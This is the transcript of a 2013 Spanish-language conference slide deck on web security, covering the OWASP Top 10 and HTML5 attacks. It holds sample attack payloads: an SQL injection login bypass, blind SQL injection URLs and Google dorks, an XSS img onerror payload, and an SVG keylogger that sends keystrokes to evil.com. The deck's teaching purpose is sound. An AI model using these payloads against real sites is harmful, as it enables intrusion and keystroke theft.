la web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

42
Pablo Garaizar, Universidad de Deusto XV Jornada de Seguridad TI La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Upload: pablo-garaizar

Post on 12-May-2015

5.126 views

Category:

Technology


0 download

DESCRIPTION

Presentación sobre seguridad web en la XV Jornada de Seguridad TI de Nextel S.A. en la Alhóndiga de Bilbao el jueves 27 de junio de 2013.

TRANSCRIPT

Page 1: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Pablo Garaizar, Universidad de Deusto

XV Jornada de Seguridad TI

La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Page 2: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

¿De qué vamos a hablar?

● Oldies goldies: OWASP Top 10, 2013:● A1 - Injections● A2 - Broken Authentication and Session Management● A3 - Cross-Site Scripting (XSS)● …

● Nuevas vulnerabilidades en torno a HTML5.

Page 3: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

OWASP Top 10, 2013https://www.owasp.org/index.php/Top_10_2013-Top_10

Page 4: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

OWASPThe Open Web Application Security Project

https://www.owasp.org/index.php/Main_Page

Page 5: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A1 - InjectionSQL, OS, and LDAP injections

https://www.owasp.org/index.php/Top_10_2013-A1

Page 6: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

SQL InjectionPor una comilla de nada...

SELECT * FROM users

WHERE user = '" + username + "' and

password = '" + md5(password) + "';

Username: admin' OR '1'='1

Password: whatever

SELECT * FROM users

WHERE user = 'admin' OR '1'='1' and

password = '" + md5('whatever') + "';

Page 7: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

SQL InjectionSi no hay mensajes de error, Blind SQL Injection

● Si no hay error, se muestra la página normal.● http://myblog.com/post.asp?id=33 AND 1=1SELECT * FROM posts WHERE id = 33 AND 1=1

● Si hay error, se muestra otra página.● http://myblog.com/post.asp?id=33 AND 1=0SELECT * FROM posts WHERE id = 33 AND 1=0

● Google Hacking:– inurl:"php?id="– inurl:"asp?id="

Page 8: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

SQL InjectionBlind SQL Injection, herramientas

● SQLbfTools: – http://www.reversing.org/node/view/11

● ./mysqlbf.exe "http://web/vulnerable.php?ID=3" "now()" "word"

● SQL Ninja: – http://sqlninja.sourceforge.net/sqlninjademo1.html

● Absinthe: – http://www.0x90.org/releases/absinthe/download.php

Page 9: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A2 - Broken Authentication and Session Management Compromise passwords, keys, session tokens, etc.

https://www.owasp.org/index.php/Top_10_2013-A2

Page 10: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

DEMOLogin en Flash

inurl:login.swf

Page 11: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A3 - Cross-Site Scripting (XSS)Allows attackers to execute scripts in the victim’s browser

https://www.owasp.org/index.php/Top_10_2013-A3

Page 12: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Cross-Site Scripting (XSS)Diferentes tipos y alcances

● Tipo 0: Basado en DOM. – Una página maliciosa abre una página local con permisos de Zona

Local y ejecuta código con esas credenciales.– Típicamente en phising o SPAM.

● Tipo 1: No persistente.– El más común, necesita Ingeniería Social para explotarse.– Típicamente en webs de búsquedas, se muestra a su vez la cadena

consultada (si tiene código, será ejecutado). ● Tipo 2: Persistente.

– El código está almacenado en una BD, fichero, o similar.– No requiere mucha Ingeniería Social para que la víctima lo ejecute.– Típicamente en foros o similares.

Page 13: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A4 - Insecure Direct Object ReferencesReferences to an internal implementation object, such as a file, directory, or database key

https://www.owasp.org/index.php/Top_10_2013-A4

Page 14: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

RFIPHP shells

http://oco.cc/

Page 15: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A5 - Security MisconfigurationKeeping all software up to date

https://www.owasp.org/index.php/Top_10_2013-A5

Page 16: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas

http://www.exploit-db.com/

Page 17: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A6 - Sensitive Data ExposureSensitive data deserves extra protection such as encryption

https://www.owasp.org/index.php/Top_10_2013-A6

Page 18: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Seguridad a través de la oscuridadrobots.txt

http://www.casareal.es/robots.txt

User-agent: *

Disallow:

Disallow: /_*/

Disallow: /ES/FamiliaReal/Urdangarin/

Disallow: /CA/FamiliaReal/Urdangarin/

Disallow: /EU/FamiliaReal/Urdangarin/

Disallow: /GL/FamiliaReal/Urdangarin/

Disallow: /VA/FamiliaReal/Urdangarin/

Disallow: /EN/FamiliaReal/Urdangarin/

Sitemap: http://www.casareal.es/sitemap.xml

Page 19: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Seguridad a través de la oscuridadMeta-datos: Fear the FOCA!

http://www.informatica64.com/foca.aspx

Page 20: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A7 - Missing Function Level Access ControlAttackers are able to forge requests in order to access unauthorized functionality

https://www.owasp.org/index.php/Top_10_2013-A7

Page 21: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Proteger el cron en MoodleSimilar para v1.9, 2.x, etc.

http://docs.moodle.org/19/en/Cron

Page 22: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A8 - Cross-Site Request Forgery (CSRF)Forces a logged-on victim’s browser to send a forged HTTP request

https://www.owasp.org/index.php/Top_10_2013-A8

Page 23: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Cross-Site Request Forgery (CSRF)XSRF o "sea-surf"

● Explota la confianza que tiene un sitio en el navegador de un cliente autenticado.– El servidor: acepta las credenciales de la sesión de

usuario almacenada en el navegador.– El cliente: accede a una web que fuerza a su

navegador a realizar acciones no deseadas en un sitio en el que previamente se ha autenticado.

● Contramedida: tokens específicos en cada formulario.

Page 24: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A9 - Using Components with Known VulnerabilitiesVulnerable components, such as libraries, frameworks, and other software modules

https://www.owasp.org/index.php/Top_10_2013-A9

Page 25: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas

http://www.exploit-db.com/

Page 26: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

A10 - Unvalidated Redirects and ForwardsAttackers can redirect victims to phishing or malware sites

https://www.owasp.org/index.php/Top_10_2013-A10

Page 27: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques de redirecciónPoCs: IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd

http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/

Page 28: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Nuevas vulnerabilidades en torno a HTML5

Page 29: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

HTML5 Client-side Stored XSS in Web SQL Database<img onerror="alert('Client-side Stored XSS')" src="nil">

http://www.andlabs.org/html5/csXSS2.html

Page 30: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

HTML5 Cross Origin Requestswget --header="Origin: http://www.andlabs.org" www.andlabs.net/html5/acCOR.php

http://www.andlabs.org/html5/acCOR.php

Page 31: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

HTML5: muchos más ataquesWeb Sockets, Web Workers, UI dressing, HTML5 tag abuse, etc.

http://html5security.org/

Page 32: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

http://www.slideshare.net/x00mario/stealing-the-pie

Page 33: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsfalso captcha usando tipografía propia

http://heideri.ch/opera/captcha/

Page 34: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsFuerza bruta contra password usando CSS y Regexps

http://html5sec.org/invalid?start=0

Page 35: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsLector de valores del DOM a través de CSS y Regexps (CSRF)

http://eaea.sirdarckcat.net/cssar/v2/

Page 36: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsCapturador de sesión mediante CSS y Regexps

http://

Page 37: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsKeylogger SVG

http://html5sec.org/keylogger

<!--injection--><svg height="0px"><image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"><set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" /><set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" /><set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" /><set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" /><set attributeName="xlink:href" begin="accessKey(e)" to="//evil.com/?e" /><set attributeName="xlink:href" begin="accessKey(f)" to="//evil.com/?f" /><set attributeName="xlink:href" begin="accessKey(g)" to="//evil.com/?g" /><set attributeName="xlink:href" begin="accessKey(h)" to="//evil.com/?h" /><set attributeName="xlink:href" begin="accessKey(i)" to="//evil.com/?i" /><set attributeName="xlink:href" begin="accessKey(j)" to="//evil.com/?j" /><set attributeName="xlink:href" begin="accessKey(k)" to="//evil.com/?k" /><set attributeName="xlink:href" begin="accessKey(l)" to="//evil.com/?l" /><set attributeName="xlink:href" begin="accessKey(m)" to="//evil.com/?m" /><set attributeName="xlink:href" begin="accessKey(n)" to="//evil.com/?n" /><set attributeName="xlink:href" begin="accessKey(o)" to="//evil.com/?o" /><set attributeName="xlink:href" begin="accessKey(p)" to="//evil.com/?p" /><set attributeName="xlink:href" begin="accessKey(q)" to="//evil.com/?q" /><set attributeName="xlink:href" begin="accessKey(r)" to="//evil.com/?r" /><set attributeName="xlink:href" begin="accessKey(s)" to="//evil.com/?s" /><set attributeName="xlink:href" begin="accessKey(t)" to="//evil.com/?t" /><set attributeName="xlink:href" begin="accessKey(u)" to="//evil.com/?u" /><set attributeName="xlink:href" begin="accessKey(v)" to="//evil.com/?v" /><set attributeName="xlink:href" begin="accessKey(w)" to="//evil.com/?w" /><set attributeName="xlink:href" begin="accessKey(x)" to="//evil.com/?x" /><set attributeName="xlink:href" begin="accessKey(y)" to="//evil.com/?y" /><set attributeName="xlink:href" begin="accessKey(z)" to="//evil.com/?z" /></image></svg>

Page 38: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Ataques sin scriptsFuerza bruta contra contraseñas mediante tipografía con “ligaduras”

http://fontforge.org/

Page 39: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

“All user input is evil until proven otherwise”Ken Cox

Page 40: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Muchas gracias ;-)and... happy hacking!

Page 41: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Referencias● OWASP: The Open Web Application Security Project.

● El lado del mal, retos hacking, por Chema Alonso.

● Fear the FOCA! Informática64.

● IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd, por Soroush Dalili.

● HTML5 Top 10 Threats Stealth Attacks and Silent Exploits, Shreeraj Shah.

● HTML5 security.

● Scriptless Attacks: Stealing the pie without touching the sill, por Mario Heiderich, Felix Schuster y Marcus Niemietz.

● The Exploit Database.

Page 42: La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Todas las imágenes son propiedad de sus respectivos dueños, el resto del

contenido está licenciado bajo Creative Commons by-sa 3.0

http://www.zerodayclothing.com, OWASP.org, Microsoft, Exploit-db.com, Informatica64, http://www.flickr.com/photos/ivanlian/3331017290/sizes/l/in/photostream/http://www.flickr.com/photos/samout3/3411358304/sizes/l/in/photostream/

http://www.flickr.com/photos/ndanger/9731511/sizes/l/in/photostream/http://www.flickr.com/photos/marcophoto/6264497575/sizes/l/in/photostream/

etc.